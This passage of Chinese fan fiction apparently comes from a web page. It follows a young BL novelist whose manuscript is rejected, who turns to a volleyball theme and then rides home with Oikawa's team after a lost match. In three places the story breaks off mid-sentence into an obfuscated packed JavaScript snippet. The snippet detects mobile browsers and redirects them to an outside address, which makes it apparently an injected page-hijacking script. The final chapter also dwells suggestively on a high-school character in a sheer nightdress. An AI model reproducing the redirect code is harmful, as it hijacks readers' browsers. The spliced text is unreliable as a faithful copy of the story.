这几天开始他没怎么见过及川彻,顶多在走廊看到,一方面确实两人都很忙,另一方面也是上次及川彻给他吹头发又擦药的,太奇怪了! 完全没碰到过这样的人! 所以鹤见深雪就躲着及川彻了。 鹤见深雪现在要早日写稿赚到钱搬出去住,彻底养活自己。 重新目光重新移回宫泽编辑,只见她眉头紧皱,一万字反复看了两遍。 终于,她放下稿子,微笑道:“鹤见老师是不是从来没有谈过恋爱?” “……” “……抱歉。” 从来没有被女生喜欢过,所有女生看到他都是说:鹤见同学你好可爱能不能当我弟弟?鹤见同学我可以打扮你吗?鹤见同学可以穿小裙子吗? ——还被女生保护过,真是对不起。 “哦没关系,我理解。”宫泽·枭谷学院家长会成员·美智子言辞凿凿地说道。 ——倒也不必一副毫不惊讶的样子。 “……其实我接受过很多作者都没有谈过恋爱,所以会谈恋爱并不是恋爱小说的硬条件,不如说,正是很多作者从来没有谈过恋爱,才能把恋爱写得那么引人向往啊。” 鹤见深雪不明觉厉地点点头。 宫泽又道:“所以恋爱部分并不是这篇文里最灾难的——最灾难的其实是——一些,嗯,常识部分,就比如我们上班族啊,是不会每天接受老板迎接的——” 宫泽含泪道:“……也不会每天下午三点半就下班,参加公司社团。” “…………” “抱歉……” 被人一针见血指出小说里的漏洞,几乎是作家的噩梦。 鹤见深雪登时面红耳赤,恨不得原地托马斯三百六十度钻入地缝。 “喏,这就是我想说得了,没谈过恋爱的会把恋爱写得特别美好,没上过班的人会把上班写得特别美好。” 宫泽看到满脸通红快要融化的鹤见深雪——这孩子好容易脸红啊,各种情绪直接表现在脸上,自己和他同龄的儿子从来不会这样—— 好可爱啊。 欸等下,宫泽的脑海里浮现了儿子那张冷冰冰的脸,又看到眼前表情丰富,小小一只的鹤见深雪。 啊,懂事高智冷学长x可爱系笨蛋美人受好像也不错…… 宫泽连忙伸手扶额,把这个CP从脑子里删除——一不小心把BL之眼打开了,太敬业了。 “也不是完全不好啦!文笔还是那么好,奇幻那部分的设定也是相当不错——到了30岁还是处男,会变成魔法师!还有读心术的设定,不过我建议让员工受获得读心超能力,老板攻获得读心术什么的也太可怕了……”① 宫泽摁住自己的太阳穴,幻想那种恐怖场景。 “对不起,请再给我一次机会,我马上拿回去改!”鹤见深雪从座位上站起来,连连鞠躬。 他这一刻倒是有几分社畜的感觉了。 “好啦好啦。”宫泽摆摆手,让鹤见深雪坐下。 作为阅读者无数的资深编辑,宫泽当然知道鹤见深雪是体验派的作家,无法想象自己没见过的东西。 “所以,鹤见老师为什么不尝试校园题材。” 鹤见深雪樱粉色的嘴唇被咬得发白,他道:“因为我查了最近十年的BL小说销量榜单,自00年以后,校园类型的小说就已经落寞了,贵杂志近三年过稿的连载文里职场文也是最多的。” 宫泽不由得正视鹤见深雪。 她发现鹤见深雪在有关写作方面智商超群,但生活常识上则完全没有,连扣子都能系错。 “数据没错,但写作要从自己实际出发——校园题材只是没落了,并不代表没有人看了,因为落寞没人写,所以竞争就少了。” 宫泽的话鹤见深雪也考虑过,只是他并没有赌的资本。 而且如果要写校园文,需要走出一个新的赛道,如何把校园文写出新意,也是问题。 宫泽望着餐厅落地窗外,刚来她就发现了,今天是宫城县春高预选赛,最后一场比赛似乎已经结束,熙熙攘攘的观众从仙台体育馆出来。 鹤见深雪顺着她的目光,真的找到了一辆印有‘AobaJosai’的大巴车,鹤见深雪连忙别开头。 宫泽没发现鹤见深雪的异常,“有没有考虑运动题材呢?” “可是运动的时候大家都汗流浃背臭烘烘地怎么谈恋……”鹤见深雪刚开口就发现自己陷入直男思维。 宫泽伸出一只手指晃了晃,严肃道:“这个时候,不得不传授你,我的独门秘诀了……” 鹤见深雪不由得坐直身体,洗耳恭听。 “——那就是B&L之眼(BandL no eye)。”② “BL之眼?(BL no Me)?” “你看那个——”宫泽扬了扬下巴,鹤见深雪扭过头去,看向咖啡馆里的老板和客人。 鹤见深雪皱眉,中年肥胖的老板对着干瘦的戴眼镜男客人好像在介绍着自家新款蛋糕……他还没来得及开口问怎么了,就听见宫泽斩钉截铁道: “他们有一腿。” 鹤见深雪:?????? “魅魔钓系咖啡馆老板受x正派气质咖啡控总裁攻。” 鹤见深雪:?????? “ABO文学,咖啡味的Omega,和被信息素吸引,常年睡不醒的Alpha,只有在咖啡馆才能认真工作,逐渐恋上咖啡馆老板,却发现对方对每个客人都是如此……总裁大发雷霆,强制爱,可这一切都是钓系Omega的目的。” 鹤见深雪:……………… “喔,我忘了,这可能对初学者的你,有些难度——我只是想向你示范——BL之眼的使用方法,能够洞察或专注于“BL”(Boys'' Love)题材的能力或视角,即是BL之眼。” 鹤见深雪微微张嘴,猫似的蓝眼睛宛若地震。 ——大受震撼。 “鹤见老师,您觉得我刚才编的故事里重点是什么?” 鹤见深雪张张嘴,“啊……呃,我……抱歉,我我我……” “没有关系,重点是——第一,人设。滥情的钓系老板和感情洁癖的正派总裁,第二,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119812|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯感,说白了就是你爱我我不爱你我爱了你你又不爱我你到底爱不爱我的感觉。 “最后——强制爱,没有点擦边情节,我们杂志怎么卖得出去啊?!啊?” 鹤见深雪恍恍惚惚愣在原地,总觉得好像搞错了什么,现在放弃这个杂志是否来得及。 ……但,宫泽编辑,讲得还挺有道理的。 “算了,我换个男人的视角吧,你平时看《jump》吗?” 鹤见深雪点头如捣蒜。 “哪怕是鸟山明,也会画布尔玛洗澡的情节吧?”③ 鹤见深雪恍然大悟,但他看jump也不喜欢这样的情节,于是他有些犹豫—— 宫泽看了他一眼,无声叹气,她也能理解。 “我们杂志是一定要有这个的,销量是很重要的,如果您不能接受的话,我也很难办,您也可以再考虑一下——对了现在我们公司的稿费有一个微调了,现在是叁万元每版……” “我写!——我不会让编辑失望的。”鹤见深雪站起来,郑重地鞠了一躬,严肃道:“听君一席话胜读十年书,我觉得没有什么比写稿更有意义得了。” “……” “好,你这么快想明白就好,那么我们确认一下题材,运动题材——之前有个《我的网球部男友》,虽然是言情,但也是最近热度比较高的女性向题材,目前腐向的运动题材还是空白市场。” “试试排球吧。” 鹤见深雪难得有了一次主见,可能是因为在及川彻房间看见很多排球的缘故。当然也是因为网球、篮球都有人写过了。 “可是排球的规则是球类运动里相对较复杂的,你打过排球吗?” 鹤见深雪的脑袋摇成拨浪鼓。 他对排球的知识仅限于球不能落地。 宫泽却道:“别的不说,如果你选择排球的话,我可以帮你。” 欸! 鹤见深雪眼前一亮。 宫泽编辑掏出手机,她的手机锁屏是一个表情冷淡但颇为帅气的男孩,他正做着托球的动作,哪怕是激烈的排球大赛,表情也相当严谨。 “这是我儿子京治,他是枭谷学院排球部的正选二传手——他刚刚通过了春高的东京预选赛。” 宫泽语气骄傲,鹤见深雪觉得好眼熟啊这一幕,及川太太也是这么介绍及川彻的。 “枭谷学院我知道,排球的强校啊。”鹤见深雪连忙察言观色的赞美,“太厉害了。” 他当然不会突然提及及川彻也是二传手这种没情商的话。 赤苇京治怎么想也应该比及川彻厉害,枭谷学院是连他都听说过的东京强校。 ——也不知道及川彻的比赛结果怎么样,以后偷偷观察一下他平时怎么打球的吧。 “好了,我和他说了。” 宫泽看着想入非非的鹤见深雪,“他应该加你了,有关于排球不懂的地方,可以随时问他——他也是你的读者,你的《无尽魔法长夜》他看过好多遍。” “喔哦,谢谢。” 鹤见深雪连忙拿起手机,果然看到好友申请,他不敢怠慢立刻同意。 【你好,赤苇京治。】 【你好你好,我是鹤见深雪。】 8. 双赢 很快鹤见深雪想,如果赤苇京治是他的读者,那应该用笔名沟通比较好。 他在《无尽魔法长夜》里的笔名是叫做夏夜雪。 【啊不对,我是夏夜雪。】 【我知道的,夏夜老师。】 好尴尬。 和陌生人无意义的沟通。 更别说此人还是自己的读者,读者很好,都是宝贝,但还是隔着纸页见面比较好。 鹤见深雪敬佩一切敢和读者风轻云淡聊天的人。 他不习惯聊天窗口别人最后一个回复,于是发了个小猫的贴纸。 见赤苇京治没再回复,他松了口气。 时间不早了,宫泽站起来向鹤见深雪道别,并约见下个短篇在下下周完成,到时候她再来一趟仙台。 “那太麻烦了。” “没关系啦,反正公司报销,鹤见老师也可以去东京,不过要由我来买票。” 这么爽?? 这是鹤见深雪从未想象过的视角,原来公司还可以报销啊,而且好像是常识一样的东西,自己却完全不知道。 他彻底打消了写职场文的想法。 宫泽离开后,鹤见深雪终于向后一靠,装了一下午正襟危坐,现在像条鱼一样摊在椅子上。 排球排球排球——到底要怎么入手啊啊啊啊?现在换题材还来得及吧?还要有擦边情节! 不行,练习一下新学会的BL之眼! 勤奋的鹤见深雪环视一圈,见到一个日本男人和一个秃顶的老白男聊天。 他强忍恶心,在纸上写道—— 奶味Omega……异国……体型差…… ——啊,钱难赚,屎难吃。 鹤见深雪捂住嘴,笔尖颤抖地在白纸上写两个男人的人设,一片黑色的阴影投射下来。 鹤见深雪笔尖一顿,慢慢侧过头,看见了一张熟悉的帅脸。 及川彻穿着青叶城西的运动校服,额头贴着咖啡馆的玻璃,眼圈红红的,面色铁青地看着他,跟个男鬼似的。 “鹤、见、深、雪……”他面无表情地用嘴型说道。 鹤见深雪被他吓得笔一丢,直接从凳子上摔下来。 及川彻看到鹤见深雪被他吓得从凳子摔下来,自己的恶劣性格得到满足,忍不住破涕为笑。 他看到鹤见深雪抬手拉住咖啡桌沿,缓慢地爬上来。 及川彻低头看向鹤见深雪刚在写的东西,他有点疑惑—— “奶味Omega?什么意思?” 他还想继续往下看,就被鹤见深雪白皙的手一巴掌‘啪’的一下,摁下纸张,慌忙收起来。 及川彻看着那葱白的手指,顺着纤细的手臂看向慌张脸红的鹤见深雪。 ——不叫看?那我偏看! 及川彻露出恶劣的笑容,这笑容鹤见深雪马上明白了,这人是非看不可了。 ——好好好,看呗,你看呗,反正到时候被刷新世界观的人不是我。 鹤见深雪丝毫不让地瞪回去。 虽然两人压根没讲话,但光凭表情就知道对方所思所想,好在这时候一个剃着寸头的同样青叶城西校服的男生走过来,对着及川彻一通臭骂。 “搞什么啊!红绿灯都不看就冲过来,你不要命了垃圾川!” 及川彻没理他,示意他看橱窗里的鹤见深雪。 男生一歪头看见鹤见深雪,眼底微微惊讶,又看向及川彻,看得鹤见深雪莫名其妙。 几秒钟后,两个人大摇大摆的走进咖啡馆坐在鹤见深雪对面。 跟着及川彻的男生个子也很高,没及川彻高,但也目测一米八左右。 ——又是一个可恶的一米八,你也死! 及川彻盯着他,笑眯眯的,一坐下就道:“小岩,鹤见说要请我们喝咖啡吃蛋糕啦!” 鹤见深雪:???? “我才没说呢!” 及川彻怎么做到张口就来的,厚脸皮程度有点太高了! 那男生配合道:“欸,真的吗?谢谢你啊鹤见。” 鹤见深雪:? 他怎么会有及川彻的朋友是个正常人的错觉。 “没钱!” 鹤见深雪把头扭到一边。 ——他是真没钱。 “小气鬼,那我自己点。”及川彻没生气,叫来服务生,点了三份小蛋糕和两杯咖啡。 三份蛋糕?鹤见深雪也想吃,但想来及川彻肯定是自己吃两份,绝对不会分给他的。 “不,我吃三份。”及川彻伸出三个手指。 收获了旁边男生的怒火,及川彻连忙在铁拳下改吃两份。 男生叫岩泉一,及川彻称呼他为小岩。 鹤见深雪很快想起来,此人就是他来的第一天,及川彻宁愿不要新排球也要去见的人。 嗯? 鹤见深雪抬头,扫了一圈岩泉一和及川彻。 好像嗅到了一丝不同于常的滋味。 服务员很快上来三份蛋糕新品,鹤见深雪人穷志不穷,看都不看。 ——馋死了。 ——要吃别坐我对面啊混蛋及川彻! 好在岩泉一直接接管了三份蛋糕的分配权,把第一份放在了鹤见深雪的面前。 鹤见深雪:“……” 要不要客气一下?但真的好想吃,除了每天及川太太管的饭以外,他对外摄入糖分和碳水是0,呜呜呜。 “谢谢你,岩泉同学。” 及川彻:? 喂,我花的钱! 及川彻也愤恨地看向旁边。 鹤见深雪才懒得理他,自顾自吃起蛋糕,嘴角都沾了奶油。 他听见及川彻用和平时不一样的口吻,缓缓开口,道: “你来这里……是来看我比赛的吗?” 啊?什么比赛? 鹤见深雪疑惑脸。 “嗯?”及川彻见他没回答,转头去看他。 看到鹤见深雪满脸疑惑,头顶冒傻气,蛋糕沾到俏挺的鼻尖上,一双蓝宝石般的眼睛倒影着自己,有点肉的脸颊看着比蛋糕还柔软。 及川彻忍不住笑了。 “啊……” 比赛,他想起来了。 鹤见深雪恍悟,什么春高预选赛什么的。 所谓吃人嘴短,再说了如果不是来看比赛,那是干什么?及川彻肯定会问,到时候怎么解释自己其实悄悄在写擦边男同小说的事情。 “看了,看了。”他连道。 及川彻笑不出来了,微扬下巴,挑眉望着鹤见深雪。 “很精彩,很精彩啊。”鹤见深雪用心地敷衍着。 ——他那么努力,应该赢了吧? 及川彻没回答,表情让鹤见深雪无法琢磨,连岩泉一都沉默了。 好在这时鹤见深雪的手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119813|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响了。 他连忙去看,发现时隔二十分钟,赤苇京治回了他消息。 ——另一张小猫贴纸。 这个不是绝版表情包吗?他从哪里找到的? 不过现在他有很多问题想问赤苇京治,他快速输入—— 【赤苇同学!我想请问您,我从来没有看过任何排球比赛,我该如何赞美一个赢得春高预选赛的二传手?】 赤苇京治回复他超快。 【您好,夏夜老师,我收到您的问题了。因为我恰好是二传手,所以我比较擅长赞美主攻手。】 【在赞美二传手上只能给您一些不成熟的建议,我认为您可以从技术、战术、领导三方面来赞美他。】 【技术方面你可以这样说:你在比赛中的传球精准度真是令人惊叹,每一个球都恰到好处,完全激活了攻手的潜力。】 这个赤苇京治说话还挺客气的——回答问题一板一眼,有点好笑。 感觉问他真是问对人了。 这家伙真的不考虑从事幼师职业吗? 鹤见深雪忍不住勾起嘴角。 瞟了眼他发来的东西,鹤见深雪对及川彻道: “你在比赛中的传球精准度真是令人惊叹,每一个球都恰到好处,完全激活了攻手的潜力。” 及川彻原本有些心不在焉,听见鹤见深雪这么说,露出惊讶的表情。 他问道:“你真的懂排球?” “唔……”还没懂,但是快要懂了。 【领导方面你可以这样说:作为二传手,你不仅是球队的战术核心,更是精神领袖,带领全队走向胜利!】 鹤见深雪连忙照本宣科。 及川彻彻底笑了,他道:“好,你很有眼光嘛,二传手就是这样的角色啦。” 【战术上你可以这样说:你的战术意识太强了,总能根据场上形势做出最佳选择,完全掌控了比赛的节奏。】 鹤见深雪又深情并茂的背诵这段台词。 及川彻哈哈大笑,道:“对了,小牛若被我打得落花流水。” 嘿嘿。 鹤见深雪见到及川彻开心了,自己心情也不错,那他算是给及川彻付足了情绪价值了,也不算白吃他的小蛋糕了。 岩泉一在一旁看着他俩翻白眼。 “走啦,集合了该。” 岩泉一站起来,及川彻也随之一起,鹤见深雪松了一口气,高高伸出手想和他们道别,结果还没摆手,就被及川彻抓住了手。 及川彻的手每次都很烫,鹤见深雪感觉自己在他手里像随时都能化掉的雪似的。 “走啊。”及川彻把鹤见深雪抓起来,说道:“不是没钱么,坐学校车回去啊。” 啊?喔!太好啦!又省一笔! 而且,他们是排球社团吧?那他岂不是可以直接近距离观察排球社团咯。 ——鹤见深雪时刻不忘自己的主业。 双赢! 他赢两次! 及川彻走门口还不松手,说实在的他腿比较长,走挺快的,鹤见深雪有点追不上,于是他回握了一下手,想让及川彻松手。 但及川彻宁愿慢下脚步也不松手。 他还想回复赤苇京治感谢呢。 见收回手不成,鹤见深雪单手回复赤苇京治消息。 【谢谢你,帮大忙了!】 【能帮到夏夜老师就好,不必客气。】 9. CP 直到过了红绿灯及川彻才松开手。 鹤见深雪回头看了看马路,是怕我过不了马路吗? 他在心中怒道:把谁当小孩呢! 及川彻转过身,拉住鹤见深雪的衣服,把他拉过来,然后又将他错位的大衣的牛角扣解开,重新扣好。 “……” 好吧。确实感觉很像小孩。 哈呀,他居然就这么错扣着衣服就见编辑——好丢人。 青叶城西车停在体育馆门口,是特地过来接他们的。 及川彻和另一个高个子的男生对话—— “人都到齐了,部长,他也是青叶城西的学生,一起走吧。” 青叶城西排球部部长点点头,鹤见深雪就成了他们的一员。 但是——等一下。 没人跟我说,你们怎么全是一米八? 全日本的男人都背着我长个儿? ——死!都别活! 鹤见深雪快恨死了,一米五九点九的他,站在他们中间就像是竹子旁边的春笋。 “你。” 鹤见深雪浑身一震,回过头,看见高个子的领队喊他。 “站那儿!” “啊?我?” “不是你还有谁?” “……” 鹤见深雪默默立正,从强忍着笑到快要破功的及川彻面前走过去,站到了队伍的最末端,也是及川彻的旁边。 算了,为了省钱,我忍。 中年教练从站成一排的排球部部员面前走过,一排一米八的选手整整齐齐,到鹤见深雪了就像是缺了个口子。 尴尬是尴尬,但一想到这是免费的排球部合训体验,他就倍感珍惜,睁大眼睛观察着每个人。 入畑伸照站在队伍的前面,道:“各位,今天的比赛结束了。我知道大家心里都不好受,尤其是我们离胜利只有一步之遥……” 鹤见深雪:??? 输了? 啊?怎么会输?及川彻可是每天四点就起床晨练,八点才回家,每天都超努力的啊! 鹤见深雪缓缓地看向旁边的及川彻,他面无表情。 鹤见深雪无奈的水灵灵的大眼到处乱看。 ——这下可真是……拍马屁拍到马蹄子上了。 唉仔细想想,我每天也是四点就起来看书,写小说,一写一整天,今天还被编辑拒稿了。 努力也不是完全有收获的,这是众所周知的事情。 入畑伸照没讲太多,都是鼓励,几个三年级的队员潸然泪下。 鹤见深雪心情也变得有些沉重,顺便记住了此刻的感觉,方便以后写到故事里。 根据入畑教练的讲话,鹤见深雪大致明白了—— 这是青叶城西排球部高三年级的最后一场比赛。 体育竞技是残酷的,他们中的绝大多数人最后都不会从事最爱的排球职业,一旦离开学校,就基本告别了排球。 春高——是他们唯一能够证明自己的舞台。 鹤见深雪不由得有点唏嘘,同时明白了为什么jump里的漫画里,总是能有漫画家对体育大书特书。 或许都沉溺在悲伤的氛围中,也无人在意鹤见深雪这个不速之客。 鹤见深雪在车上到处找座位的时候,手腕又被人拉住,他回头看及川彻拉他过来。 他犹如看到救世主,弯着腰,拉着及川彻的手坐到他座位的靠窗里侧。 及川彻始终没说什么,汽车内氛围沉重,鹤见深雪忍不住小声道:“那个,以后会赢的。” 及川彻扭过头,意外地看向旁边的鹤见深雪,勾起嘴角,说道:“会的。” 接着,他又小声,带点鼻音地问道:“蛋糕好吃吗?” 鹤见深雪惊讶,连连点头,“好吃的。” 汽车陷入沉默。 冬天的夜晚来得很早,太阳落下,深蓝色景色在窗外浮动着。 鹤见深雪张开嘴,对着车窗哈了一口白气,在车窗上画了个不二家的笑脸,发型和及川彻很有相似之处,用手肘捅了捅及川彻,示意他看,做了一个‘送你’的口型。 及川彻露出笑容,又伸手在旁边画了另一个发型和鹤见深雪一样的笑脸,不过不是吐舌头,而是像小猫一样的w嘴型。 就像小时候一样。 鹤见深雪看到及川彻又恢复笑容,心里舒服多了。 ——这算安慰到了吧?没白吃蛋糕吧? 他拿出手机,看见赤苇京治居然给他发好几份排球规则的文件。 他怎么跟他妈一模一样,干脆以后也当编辑好了! 等等,编辑和幼师好像是异类职业但素养一致的东西。 【我收到了,谢谢你赤苇同学!】 【不客气,夏夜老师随时有需要可以联系我。】 及川彻斜眼望见鹤见深雪又在和别人在手机上聊得热火朝天。 ——他一天到晚怎么这么多网络朋友? 鹤见深雪哒哒哒地打字: 【你上次的发给我的赞美,我糟蹋了。】 【怎么了?】 【我的朋友输了比赛,我误以为他赢了。】 赤苇京治没有秒回,停了好一阵子才回复【那您还活着吗?】 【当然啦,不然怎么给你消息。】 【那就好。】 【赤苇同学,我有一个问题想问你。】 【您请说。】 【有没有什么方法,既可以和排球队社团呆在一起,又不用打排球?】 赤苇京治已读后,过了一分钟回复—— 【或许可以试试社团经理的工作。】 社团经理听着还挺高大上的,但鹤见深雪连扣子都系不好,除了写作对什么都提不起自信。 【不过这个岗位都是女孩子在做,我们枭谷有两位女经理——我看着应该不算太难,或者我帮您问问她们都在做什么。】 赤苇!!你太好啦!!你真是一个好人!!! 鹤见深雪恨不得隔着屏幕亲他一口。 有其母必有其子——说得就是赤苇母子这样高尚伟大的存在。 ——我人生路上的贵人! 和赤苇交代几句之后,鹤见深雪扭头去看及川彻,发现这人又是面无表情的不高兴的样子。 ——又怎么了?变太快了吧!刚才不是才安慰过了吗? 他撅了噘嘴,收起手机,不再讲话。 汽车摇晃,睡意很快席卷了鹤见深雪,他忍不住头一歪,靠在了及川彻的肩膀上。 及川彻全身一滞,因为鹤见深雪太多网络朋友,担心这个笨蛋会不会被人骗而感觉到的心烦意乱,在此刻消失得无影无踪。 他侧头看着乱糟糟的金色小毛球。 鹤见深雪连发旋都很完美。 他吹头发从来不怎么梳,一着急思考了还要用力乱抓头发,已经完全没有第一天见及川彻那样如绸缎一样的流光溢彩了。 ——真是个小公主小草包。 及川彻在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119814|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里吐槽,从小到大都是。 巴车在青叶城校门口西停下,教练没留他们,叫他们早点回家。 在日本,学生是不能大晚上还在外面逗留的。 和其他部员道别之后,岩泉一、及川彻和鹤见深雪就结伴回家。 鹤见深雪走路很慢,主要是腿短,就跟在两个大高个的后面,阴暗爬行。 他望着及川彻和岩泉一。 嚯,还真是形影不离。 这就是传说中从小一起长大的朋友吗? ——啧,我才不羡慕呢,哼! 他又想起了妈妈说过他和及川彻小时候关系很好的事情,不禁想,那算什么——岩泉一和及川彻这种才是真的青梅竹马。 等等,说到青梅竹马。 鹤见深雪看着沉默的两人的背影—— 难道说…… 忍不住开始练习宫泽编辑传授的BL之眼。 青梅竹马的设定是相当不错呢。 这么想,我为什么不用及川彻做我小说的人设呢? 该死,这人又高又帅,人还很幽默,据说超受女生欢迎,明明性格很恶劣啊…… 难道女生们就喜欢他这种? 可恶,为什么没有女生喜欢我? 其实换个思路,他还挺温柔的——鹤见深雪低头看着自己被他重新扣好的牛角扣。 啊嘶,好像有灵感了。 可如果以及川彻做男主角的话,那另一个男主角选谁呢? 鹤见深雪目光右移——岩泉一! 可是岩泉一,他不了解啊。 看起来有点暴力呢……他想起了岩泉一对着及川彻怒吼。 不行吧,这俩人在一起岂不是家庭暴力? 鹤见深雪想象力颇为丰富,脑海里浮现了及川彻和岩泉一在一起被家暴,哭唧唧得找他诉苦,但鹤见深雪也打不过岩泉一,无法帮到他……的场景。 他连忙甩甩头,把这个场景从脑海里甩出去。 虽然及川彻有时候是很讨厌啦,但也没必要揍他。 很可怕。 还是给及川彻换个CP吧。 最后一个拐弯。 岩泉一冲两人示意了下,告了别,很快走进分支的巷子里。 “想什么呢?”及川彻挑眉,看着鹤见深雪望着岩泉一的背影发呆。 “没没没。”鹤见深雪连忙摆手。 及川彻和鹤见深雪继续往前走。 突然及川彻停住脚步,两三步踏进路边的小卖部,鹤见深雪站在门口等他。 没过一会儿,他拿来了一包白色奶糖,撕开包装放到鹤见深雪面前。 “干嘛?” “奶味的什么ga?” 鹤见深雪:“???????” 不是,不是,奶味的那啥不是这个意思啊啊啊……鹤见深雪连忙低头看向糖果的包装袋。 该死啊!!这糖还真叫Omega!!! ——救救我,谁来救救我! 鹤见深雪百口莫辩,无所适从,颤抖地从里面拿出了一颗糖。 “谢、谢谢。” 及川彻听到这两个字才满意,今天明明是他买的蛋糕,却对岩泉说了谢谢,让他很不爽。 不用查他都知道鹤见深雪小脑袋瓜在想什么,这糖不算出名,但他确实看见过,鹤见深雪想吃它都想疯了,坐在咖啡馆写这个。 及川彻觉得这才算完美收工。 “回家。” “噢。” 10. 自恋 及川彻和鹤见深雪回到家里的时候,已经是晚上七点。 鹤见深雪出去见编辑是没有和及川太太说的,所以看他此时和及川彻一起回来,让她很惊讶。 及川太太问:“深雪啊,你去哪儿了?” 鹤见深雪张张嘴,呃呃啊啊了一番,及川彻站在一旁斜眼看着他。 “……我去看彻哥比赛了。” 鹤见深雪不擅长撒谎,因此说话的时候眼神乱瞟,看起来相当不好意思。 及川彻放包的手情不自禁地握紧。 ——鹤见深雪真的来看他比赛了? “怎么自己跑去了?”及川太太叹息,也很不解:“最开始不是叫上你一起去了吗?你不是说不去吗?” 及川彻:? 及川彻有些疑惑地看向鹤见深雪。 “我……” 鹤见深雪像是被架在火烤,‘我’了半天没‘我’出来。 好在及川太太没有刨根问底,只是交代了几句注意安全,让他把这里当自己家别不好意思。 鹤见深雪脸皮薄,及川太太本意并非批评,但鹤见深雪也觉得有点委屈,低着头,脸红红的,眼睛酸酸的。 他不仅皮肉是娇气的,心里也很娇气。 及川彻输了比赛,及川太太也给他做了一桌子菜给他。 边吃边安慰他,不过及川彻心态很好,输了也觉得没事,一个劲儿的向老妈承诺下次要把牛岛若利打得落花流水。 鹤见深雪今天也输了,他被拒稿了。 虽然那篇《我的职场男上司是魔法师》写得漏洞百出,但不代表没有用心,他一直坚持对自己笔下的每一个字负责。 但是就是写得很烂。 鹤见深雪唯一能够拿到自信的领域也被拒绝了。 他已经四年没写长篇故事了,很害怕老天给他的天赋就此收走了。 不过饭菜还是香的,及川太太手艺很好。 看到姐姐和妈妈都在安慰及川彻,鹤见深雪在心里对自己说—— 也安慰安慰你,小雪。 吃过饭后,鹤见深雪又跑回房间继续写作,看赤苇京治给的排球比赛的规则,确认题材之后,准备人设。 及川彻看到鹤见深雪上楼的背影,就知道他又回房间了。 一天到晚,到底在干什么啊? 怎么能有人在八叠半的房间里呆这么久?不闷吗? 及川彻擦擦嘴,也要回房间,他听见老妈在身后喊—— “既然比赛结束了,明天开始上补习班了啊!” “知道啦。” 及川彻一上楼就快速跑到鹤见深雪门口,耳朵贴在门上,想听听屋里有没有动静,但什么声音也没有,只有门缝里漏出的灯光。 及川彻看了会儿封闭的门,回了房间,洗了澡后,他躺在床上回忆今天的比赛。 每一球他都认为自己没有错,但最后还是输了。 这也是及川彻与牛岛若利第五次交手。 及川彻心烦意乱,脑海里不断浮现落入青叶城西球场的最后一球。 【你在比赛中的传球精准度真是令人惊叹,每一个球都恰到好处,完全激活了攻手的潜力。】 鹤见深雪居然这么评价他。 算他有眼光。 【作为二传手,你不仅是球队的战术核心,更是精神领袖,带领全队走向胜利!】 精神领袖? 不错,及川彻确实要做这样的人。 他本来以为鹤见深雪是骗他的,根本没有去看比赛,但今天他对老妈说的那些话看来是真的来看他比赛了,而且还是偷偷来的。 连老妈都没说。 ——看就看,有什么不好说的。 “咚咚。” 敲门声响起。 及川彻听着这个敲门声,说了句请进。 看见一个金色毛球脑袋伸进来,鹤见深雪笑盈盈地从门后面挤进来。 及川彻看见他的瞬间,心脏漏跳一拍。 鹤见深雪换了件宽吊带抹i胸睡裙,粉白色的,带有蕾丝的花边,不算很贴身子,有点蓬松,很长,看着像裙子,下边是柔软的,只到大腿中间的小底裤。 露出紧致的锁骨、圆润的肩膀,颀长的脖颈,白得晃眼。 单薄的身体在半透的衣裙里晃荡。 鹤见深雪个子矮,腿不算长,但和整个身体比起来,简直长得不像话。 及川彻:“……” 及川彻几乎是弹起来的,太阳穴突突的开始跳。 “……你干、干什么?” 他弯腰的时候,及川彻能顺着看到他衣服里面,但只是转瞬即逝。 鹤见深雪笑眯眯地赤脚爬上及川彻的榻榻米,坐在他床铺面前,尊敬道:“及川さん……我想问下,你们排球部有经理吗?” “………” “没有,你问这个干嘛?” 像是被狠狠攻击了一番,及川彻防御全面启动,语气有些虚张声势。 ——无疑,他遇到了一个强劲的对手。 鹤见深雪毫不犹豫地问道:“我想去做——就是不知道男生可不可以?” “可以。”及川彻几乎马上回答。 男生可以——不不不,男生不可以。 他不喜欢男生。 “那太好了!谢谢!我会努力的!” 鹤见深雪就像是森林的小精灵,利用完了及川彻,欢天喜地站起来,转身就走,连句晚安都没有,空气中只有他留下的香味。 “…………?” 及川彻看了会儿他离开的背影,呆滞地坐在床上。 过了好一会儿,他仍觉得好像梦一样。 鹤见深雪不是男生吗?为什么穿睡裙? 不对,好像也没有规定说,男生不准穿睡裙。 他缓缓躺回床上,今天耻辱的大败已经消失不见,脑海里只有穿睡裙的鹤见深雪。 他抬起手,将手掌搭在眼睛上,脑海里仔细复盘一整天与鹤见深雪的相处。 忽然,他发现了一个重大的真相。 